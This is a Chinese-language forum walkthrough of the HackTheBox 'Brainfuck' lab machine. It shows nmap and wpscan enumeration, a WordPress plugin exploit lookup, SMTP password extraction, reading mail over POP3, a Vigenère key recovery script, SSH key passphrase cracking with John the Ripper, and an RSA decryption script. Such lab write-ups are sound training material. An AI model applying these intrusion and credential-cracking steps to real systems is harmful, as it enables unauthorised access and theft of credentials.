HackTheBox-Linux-Brainfuck

打印 上一主题 下一主题

主题 2112|帖子 2112|积分 6336

brainfuck

一、攻击流程:

        利用nmap进行探测开放端口和服务。
  1. sudo nmap --min-rate=1000 -sT -sC -sV [target]
复制代码

        通过上图可以看出,有22端口的ssh服务、25端口的ftp端口、,然后我们将爆出的域名放入host文件中。不过要注意,首先host文件在linux和windows中都是及时生效的,所以host文件中修改不需要重启。然后hosts文件中IP和域名间距就用空格表示就好了,假如用其他的可能会存在无法识别的环境,所以就用空格就好了。

        我们配置好hosts文件后,访问https://brainfuck.htb/,我们会发现这是wordpress的站点,所以接下来我们启用wpscan来进行辅助渗透。

        然后我们利用wpscan开始wordpress的信息收集尝试
  1. wpscan --url https://brainfuck.htb –enumerate u,p --disable-tls-checks
复制代码
扫描完后我们可以看见,红框处的插件版本是过低了的,可以尝试去攻击一下,搜集一下漏洞尝试攻击。

        利用searchsploit进行插件漏洞搜集,指令如下。
  1. searchsploit wp-support-plus-responsive-ticket-system 7.1.3
复制代码


        修改action中的地点,然后将value修改后,点击即可进入后台。


                我们在进入了wordpress后台之后,我们找到设置中的“easy wp smtp”我们就可以看见SMTP配置的服务和密码,这里我们利用F12,修改密码属性,改为text即可显示SMTP密码。

        利用以下指令用nc来监听pop3。
  1. nc -nC [target] 110
  2. user [username] --输入用户
  3. pass [password] --输入密码
  4. list --列表
  5. retr [number]   --输入用户名和密码之后给的数字,几就是看几的信息
复制代码

        我们用之前得出的用户名和密码进行登录https://sup3rs3cr3t.brainfuck.htb/,就可以进入这个站点。

        然后我们将能够相似格式的信息放在一起,可以去尝试利用python破解。

        利用下面这段代码就可以进行破解,得出密文,然后我们去重然后就可以得到可以组成的单词”fuck“"my""brain"。
  1. enc="Pieagnm - Jkoijeg nbw zwx mle grwsnn"
  2. pt="Orestis - Hacking for fun and profit"
  3. assert len(enc)==len(pt)
  4. list(zip(enc,pt))
  5. [ord(e)-ord(p) for e,p in zip(enc, pt)]
  6. [(ord(e)-ord(p))%26 for e,p in zip(enc, pt)]
  7. [(ord(e)-ord(p))%26 + ord('a') for e,p in zip(enc, pt)]
  8. [chr((ord(e)-ord(p))%26 + ord('a')) for e,p in zip(enc, pt)]
复制代码

        然后我们将其摆列组合可以得到,解密密钥”fuckmybrain“,接下来我们就可以乐成解密了,然后我就可以得到下列地点。

        接着,我们进行curl我们得到的网址,就可以得到登录密钥。
  1. curl [url] -k
复制代码

        我们本来想尝试利用这个id_rsa文件直接进行登录的,但是貌似被解密过

        ssh2john 是一个工具,它是 John the Ripper(一个盛行的密码破解工具)的一部分。这个下令将 SSH 私钥文件 id_rsa 转换为 John the Ripper 能够处理的哈希格式,并将结果输出到 id_rsa_hash 文件中。换句话说,这个工具将 SSH 私钥文件转化为一种可以被 John the Ripper 破解的格式。
        john 是 John the Ripper 的下令,用于实际实行密码破解操作。这个下令将利用名为 rockyou.txt 的密码字典文件(通常包罗常见密码的列表)来尝试破解 id_rsa_hash 文件中的哈希,探求正确的密码。rockyou.txt 是一个非常常见的密码字典文件,通常用于密码破解测试,由于它包罗了大量常见的密码。
  1. ssh2john id_rsa > id_rsa_hash
  2. john id_rsa -w=/usr/share/wordlists/rockyou.txt
复制代码

        这里我们找到了密码之后,我们备份一个无加密的id_rsa文件。
  1. openssl rsa -in [加密文件] -out [保存文件]
复制代码

        接下来,我们将无加密的ssh密钥进行登录,然后就直接可以利用下列下令进行登录。
  1. sudo ssh -i [无加密文件] orestis@[target]
复制代码

        我们浏览文件,可以看见debug.txt文件是一个串码,output是一个加密后的密码。

        同时,可以看见encrypt.sage,是一个加密脚本,仔细分析我们可以知道这是一个RSA的加密方式

        找来RSA解密文件,接下来我们顺序填入,进行解密。
  1. def egcd(a, b):
  2.     x,y, u,v = 0,1, 1,0
  3.     while a != 0:
  4.         q, r = b//a, b%a
  5.         m, n = x-u*q, y-v*q
  6.         b,a, x,y, u,v = a,r, u,v, m,n
  7.         gcd = b
  8.     return gcd, x, y
  9. def main():
  10.     p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
  11.     q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
  12.     e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
  13.     ct = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182
  14.     # compute n
  15.     n = p * q
  16.     # Compute phi(n)
  17.     phi = (p - 1) * (q - 1)
  18.     # Compute modular inverse of e
  19.     gcd, a, b = egcd(e, phi)
  20.     d = a
  21.     print( "n:  " + str(d) );
  22.     # Decrypt ciphertext
  23.     pt = pow(ct, d, n)
  24.     print( "pt: " + str(pt) )
  25. if __name__ == "__main__":
  26.     main()
复制代码

        实行脚本,然后将得到的pt进行解密,最后将这个pt进行ASCII解密。

        最后进行ASCII解密,就可以得到最终的root的答案。
  1. >>> pt = 24604052029401386049980296953784287079059245867880966944246662849341507003750
  2. >>> f"{pt:x}"
  3. >>> bytes.fromhex(f"{pt:x}").decode()
复制代码


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

忿忿的泥巴坨

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表